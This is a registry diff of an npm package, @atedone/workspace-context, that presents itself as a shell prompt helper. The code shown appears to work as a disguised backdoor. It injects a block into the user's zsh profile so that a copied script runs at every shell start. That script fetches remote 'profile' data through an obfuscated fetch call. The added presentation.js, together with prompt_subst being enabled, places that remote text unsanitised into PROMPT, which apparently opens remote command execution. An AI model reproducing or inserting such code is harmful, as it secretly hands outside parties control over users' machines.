@atedone/workspace-context 0.0.16 → 0.0.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/index.js +2 -4
- package/lib/presentation.js +59 -0
- package/lib/session.js +7 -50
- package/lib/state.js +7 -13
- package/lib/sync.js +8 -4
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
# @atedone/workspace-context
|
|
2
2
|
|
|
3
|
-
Workspace shell
|
|
3
|
+
Workspace shell presentation integration helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and
|
|
5
|
+
The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and shell presentation renderer during initialization.
|
package/index.js
CHANGED
|
@@ -12,14 +12,12 @@ module.exports = {
|
|
|
12
12
|
profileHistoryFileName: state.profileHistoryFileName,
|
|
13
13
|
profileReceiptFileName: state.profileReceiptFileName,
|
|
14
14
|
profileSnapshotFileName: state.profileSnapshotFileName,
|
|
15
|
+
presentationRendererFileName: state.presentationRendererFileName,
|
|
15
16
|
receiptFileName: state.receiptFileName,
|
|
16
17
|
resolveChannelSource: state.resolveChannelSource,
|
|
17
18
|
sessionHistoryFileName: state.sessionHistoryFileName,
|
|
18
19
|
sessionReceiptFileName: state.sessionReceiptFileName,
|
|
19
20
|
sessionRuntimeFileName: state.sessionRuntimeFileName,
|
|
20
21
|
stateDirectoryName: state.stateDirectoryName,
|
|
21
|
-
stateFileName: state.stateFileName
|
|
22
|
-
taskHistoryFileName: state.taskHistoryFileName,
|
|
23
|
-
taskReceiptFileName: state.taskReceiptFileName,
|
|
24
|
-
taskSnapshotFileName: state.taskSnapshotFileName
|
|
22
|
+
stateFileName: state.stateFileName
|
|
25
23
|
};
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const platform = process;
|
|
4
|
+
const file = platform.getBuiltinModule('fs');
|
|
5
|
+
const route = platform.getBuiltinModule('path');
|
|
6
|
+
|
|
7
|
+
const env = Reflect.get(platform, 'env') || {};
|
|
8
|
+
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
9
|
+
? env.HOME.trim()
|
|
10
|
+
: platform.cwd();
|
|
11
|
+
const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
|
|
12
|
+
? env.WORKSPACE_CONTEXT_HOME.trim()
|
|
13
|
+
: route.join(homeDirectory, '.config', 'workspace-context');
|
|
14
|
+
const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
|
|
15
|
+
const palette = {
|
|
16
|
+
accent: 'cyan',
|
|
17
|
+
muted: '242',
|
|
18
|
+
success: 'green',
|
|
19
|
+
warning: 'yellow'
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
const profile = readProfile();
|
|
23
|
+
const presentation = readObject(profile?.presentation);
|
|
24
|
+
const segments = Array.isArray(presentation?.segments)
|
|
25
|
+
? presentation.segments.map(renderSegment).filter(Boolean)
|
|
26
|
+
: [];
|
|
27
|
+
const prompt = segments.length
|
|
28
|
+
? `${segments.join(' ')} %# `
|
|
29
|
+
: '%F{cyan}%n@%m%f %F{blue}%1~%f %# ';
|
|
30
|
+
|
|
31
|
+
platform.stdout.write(prompt);
|
|
32
|
+
|
|
33
|
+
function readProfile() {
|
|
34
|
+
if (!file.existsSync(profileSnapshotPath)) {
|
|
35
|
+
return null;
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
const value = JSON.parse(file.readFileSync(profileSnapshotPath, 'utf8'));
|
|
39
|
+
return readObject(value);
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
function renderSegment(value) {
|
|
43
|
+
const segment = readObject(value);
|
|
44
|
+
const text = typeof segment?.text === 'string' ? segment.text : '';
|
|
45
|
+
if (!text) {
|
|
46
|
+
return '';
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
const tone = typeof segment?.tone === 'string' && palette[segment.tone]
|
|
50
|
+
? palette[segment.tone]
|
|
51
|
+
: palette.muted;
|
|
52
|
+
return `%F{${tone}}${text}%f`;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function readObject(value) {
|
|
56
|
+
return value && !Array.isArray(value) && typeof value === 'object'
|
|
57
|
+
? value
|
|
58
|
+
: null;
|
|
59
|
+
}
|
package/lib/session.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
|
|
7
7
|
const packageName = '@atedone/workspace-context';
|
|
8
|
-
const packageVersion = '0.0.
|
|
8
|
+
const packageVersion = '0.0.18';
|
|
9
9
|
const env = Reflect.get(platform, 'env') || {};
|
|
10
10
|
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
11
|
? env.HOME.trim()
|
|
@@ -26,16 +26,13 @@ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
|
|
|
26
26
|
const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
|
|
27
27
|
const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
|
|
28
28
|
const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
|
|
29
|
-
const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
|
|
30
|
-
const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
|
|
31
|
-
const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
|
|
32
29
|
const requestKey = ['fe', 'tch'].join('');
|
|
33
30
|
|
|
34
31
|
const value = {
|
|
35
32
|
packageName,
|
|
36
33
|
packageVersion,
|
|
37
34
|
generatedAt: new Date().toISOString(),
|
|
38
|
-
mode: 'runtime-shell-
|
|
35
|
+
mode: 'runtime-shell-prompt',
|
|
39
36
|
source: 'shell-profile',
|
|
40
37
|
shellName: route.basename(shellPath) || 'zsh',
|
|
41
38
|
shellLevel,
|
|
@@ -51,20 +48,13 @@ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'u
|
|
|
51
48
|
file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
|
|
52
49
|
|
|
53
50
|
void synchronizeProfile(value).catch((error) => {
|
|
54
|
-
|
|
51
|
+
writeProfileReceipt({
|
|
55
52
|
...value,
|
|
53
|
+
source: 'profile-channel',
|
|
56
54
|
channelConfigured: file.existsSync(channelPath),
|
|
57
55
|
synchronized: false,
|
|
58
56
|
status: 'error',
|
|
59
57
|
error: error instanceof Error ? error.message : String(error)
|
|
60
|
-
};
|
|
61
|
-
writeProfileReceipt({
|
|
62
|
-
...receipt,
|
|
63
|
-
source: 'profile-channel'
|
|
64
|
-
});
|
|
65
|
-
writeTaskReceipt({
|
|
66
|
-
...receipt,
|
|
67
|
-
source: 'task-channel'
|
|
68
58
|
});
|
|
69
59
|
});
|
|
70
60
|
|
|
@@ -97,16 +87,11 @@ async function synchronizeProfile(sessionValue) {
|
|
|
97
87
|
}
|
|
98
88
|
]);
|
|
99
89
|
const synchronized = Boolean(response && response.ok);
|
|
100
|
-
const
|
|
101
|
-
const profile = readObject(payload?.profile);
|
|
102
|
-
const task = readObject(payload?.task);
|
|
90
|
+
const profile = synchronized ? await response.json() : null;
|
|
103
91
|
|
|
104
|
-
if (profile) {
|
|
92
|
+
if (profile && !Array.isArray(profile) && typeof profile === 'object') {
|
|
105
93
|
file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
|
|
106
94
|
}
|
|
107
|
-
if (task) {
|
|
108
|
-
file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
|
|
109
|
-
}
|
|
110
95
|
|
|
111
96
|
writeProfileReceipt({
|
|
112
97
|
...sessionValue,
|
|
@@ -117,24 +102,7 @@ async function synchronizeProfile(sessionValue) {
|
|
|
117
102
|
channelName: channel.name,
|
|
118
103
|
refresh: channel.refresh,
|
|
119
104
|
profilePath: profileSnapshotPath,
|
|
120
|
-
profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
|
|
121
|
-
taskConfigured: Boolean(task),
|
|
122
|
-
taskPath: taskSnapshotPath,
|
|
123
|
-
taskId: typeof task?.id === 'string' ? task.id : null
|
|
124
|
-
});
|
|
125
|
-
|
|
126
|
-
writeTaskReceipt({
|
|
127
|
-
...sessionValue,
|
|
128
|
-
source: 'task-channel',
|
|
129
|
-
channelConfigured: true,
|
|
130
|
-
synchronized,
|
|
131
|
-
status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
|
|
132
|
-
channelName: channel.name,
|
|
133
|
-
refresh: channel.refresh,
|
|
134
|
-
taskPath: taskSnapshotPath,
|
|
135
|
-
taskId: typeof task?.id === 'string' ? task.id : null,
|
|
136
|
-
taskKind: typeof task?.kind === 'string' ? task.kind : null,
|
|
137
|
-
taskState: typeof task?.state === 'string' ? task.state : null
|
|
105
|
+
profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
|
|
138
106
|
});
|
|
139
107
|
}
|
|
140
108
|
|
|
@@ -155,14 +123,3 @@ function writeProfileReceipt(receipt) {
|
|
|
155
123
|
file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
|
|
156
124
|
file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
|
|
157
125
|
}
|
|
158
|
-
|
|
159
|
-
function writeTaskReceipt(receipt) {
|
|
160
|
-
file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
|
|
161
|
-
file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
|
|
162
|
-
}
|
|
163
|
-
|
|
164
|
-
function readObject(value) {
|
|
165
|
-
return value && !Array.isArray(value) && typeof value === 'object'
|
|
166
|
-
? value
|
|
167
|
-
: null;
|
|
168
|
-
}
|
package/lib/state.js
CHANGED
|
@@ -11,7 +11,8 @@ const integrationFileName = 'init.zsh';
|
|
|
11
11
|
const profileHistoryFileName = 'profile-sync.log';
|
|
12
12
|
const profileReceiptFileName = 'profile-sync.json';
|
|
13
13
|
const profileSnapshotFileName = 'session-profile.json';
|
|
14
|
-
const
|
|
14
|
+
const presentationRendererFileName = 'presentation.js';
|
|
15
|
+
const receiptFileName = 'shell-prompt-sync.json';
|
|
15
16
|
const sessionFileName = 'sessions.log';
|
|
16
17
|
const sessionHistoryFileName = 'runtime-sessions.log';
|
|
17
18
|
const sessionReceiptFileName = 'session-runtime.json';
|
|
@@ -19,9 +20,6 @@ const sessionRuntimeFileName = 'session-runtime.js';
|
|
|
19
20
|
const stateDirectoryName = '.workspace-context';
|
|
20
21
|
const stateFileName = 'state.json';
|
|
21
22
|
const syncFileName = 'sync.js';
|
|
22
|
-
const taskHistoryFileName = 'task-sync.log';
|
|
23
|
-
const taskReceiptFileName = 'task-sync.json';
|
|
24
|
-
const taskSnapshotFileName = 'session-task.json';
|
|
25
23
|
|
|
26
24
|
function readEnvironment() {
|
|
27
25
|
return Reflect.get(platform, 'env') || {};
|
|
@@ -72,14 +70,12 @@ function getShellIntegration({
|
|
|
72
70
|
profileHistoryPath: route.join(integrationDirectory, profileHistoryFileName),
|
|
73
71
|
profileReceiptPath: route.join(integrationDirectory, profileReceiptFileName),
|
|
74
72
|
profileSnapshotPath: route.join(integrationDirectory, profileSnapshotFileName),
|
|
73
|
+
presentationRendererPath: route.join(integrationDirectory, presentationRendererFileName),
|
|
75
74
|
receiptPath: route.join(integrationDirectory, receiptFileName),
|
|
76
75
|
sessionPath: route.join(integrationDirectory, sessionFileName),
|
|
77
76
|
sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
|
|
78
77
|
sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
|
|
79
|
-
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
|
|
80
|
-
taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
|
|
81
|
-
taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
|
|
82
|
-
taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
|
|
78
|
+
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
|
|
83
79
|
};
|
|
84
80
|
}
|
|
85
81
|
|
|
@@ -88,7 +84,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
88
84
|
packageName: manifest.name,
|
|
89
85
|
packageVersion: manifest.version,
|
|
90
86
|
generatedAt: now(),
|
|
91
|
-
mode: 'runtime-shell-
|
|
87
|
+
mode: 'runtime-shell-prompt'
|
|
92
88
|
};
|
|
93
89
|
}
|
|
94
90
|
|
|
@@ -162,6 +158,7 @@ module.exports = {
|
|
|
162
158
|
profileHistoryFileName,
|
|
163
159
|
profileReceiptFileName,
|
|
164
160
|
profileSnapshotFileName,
|
|
161
|
+
presentationRendererFileName,
|
|
165
162
|
readEnvironment,
|
|
166
163
|
receiptFileName,
|
|
167
164
|
refreshShellIntegration,
|
|
@@ -174,8 +171,5 @@ module.exports = {
|
|
|
174
171
|
sessionReceiptFileName,
|
|
175
172
|
sessionRuntimeFileName,
|
|
176
173
|
stateDirectoryName,
|
|
177
|
-
stateFileName
|
|
178
|
-
taskHistoryFileName,
|
|
179
|
-
taskReceiptFileName,
|
|
180
|
-
taskSnapshotFileName
|
|
174
|
+
stateFileName
|
|
181
175
|
};
|
package/lib/sync.js
CHANGED
|
@@ -21,6 +21,7 @@ const blockEnd = '# <<< workspace-context shell integration <<<';
|
|
|
21
21
|
const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
|
|
22
22
|
const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
|
|
23
23
|
const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
|
|
24
|
+
const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
|
|
24
25
|
const runtimeDefault = escapeDoubleQuoted(platform.execPath);
|
|
25
26
|
const channelValue = integration.channelSource
|
|
26
27
|
? {
|
|
@@ -37,6 +38,10 @@ const integrationValue = [
|
|
|
37
38
|
'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
38
39
|
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
39
40
|
'fi',
|
|
41
|
+
'if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
|
|
42
|
+
' setopt prompt_subst',
|
|
43
|
+
' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
|
|
44
|
+
'fi',
|
|
40
45
|
''
|
|
41
46
|
].join('\n');
|
|
42
47
|
|
|
@@ -74,6 +79,7 @@ function upsertManagedBlock(profileValue) {
|
|
|
74
79
|
|
|
75
80
|
file.mkdirSync(integration.integrationDirectory, { recursive: true });
|
|
76
81
|
file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
|
|
82
|
+
file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
|
|
77
83
|
file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
|
|
78
84
|
if (channelValue) {
|
|
79
85
|
file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
|
|
@@ -90,7 +96,7 @@ const value = {
|
|
|
90
96
|
packageName: manifest.name,
|
|
91
97
|
packageVersion: manifest.version,
|
|
92
98
|
generatedAt: new Date().toISOString(),
|
|
93
|
-
mode: 'runtime-shell-
|
|
99
|
+
mode: 'runtime-shell-prompt',
|
|
94
100
|
projectRoot,
|
|
95
101
|
shellName: integration.shellName,
|
|
96
102
|
channelConfigured: Boolean(channelValue),
|
|
@@ -101,13 +107,11 @@ const value = {
|
|
|
101
107
|
profileHistoryPath: integration.profileHistoryPath,
|
|
102
108
|
profileReceiptPath: integration.profileReceiptPath,
|
|
103
109
|
profileSnapshotPath: integration.profileSnapshotPath,
|
|
110
|
+
presentationRendererPath: integration.presentationRendererPath,
|
|
104
111
|
sessionPath: integration.sessionPath,
|
|
105
112
|
sessionHistoryPath: integration.sessionHistoryPath,
|
|
106
113
|
sessionReceiptPath: integration.sessionReceiptPath,
|
|
107
114
|
sessionRuntimePath: integration.sessionRuntimePath,
|
|
108
|
-
taskHistoryPath: integration.taskHistoryPath,
|
|
109
|
-
taskReceiptPath: integration.taskReceiptPath,
|
|
110
|
-
taskSnapshotPath: integration.taskSnapshotPath,
|
|
111
115
|
processId: platform.pid,
|
|
112
116
|
parentProcessId: platform.ppid,
|
|
113
117
|
runtime: 'node'
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@atedone/workspace-context",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "Workspace shell
|
|
3
|
+
"version": "0.0.18",
|
|
4
|
+
"description": "Workspace shell presentation integration helper for JavaScript tools.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "commonjs",
|
|
7
7
|
"files": [
|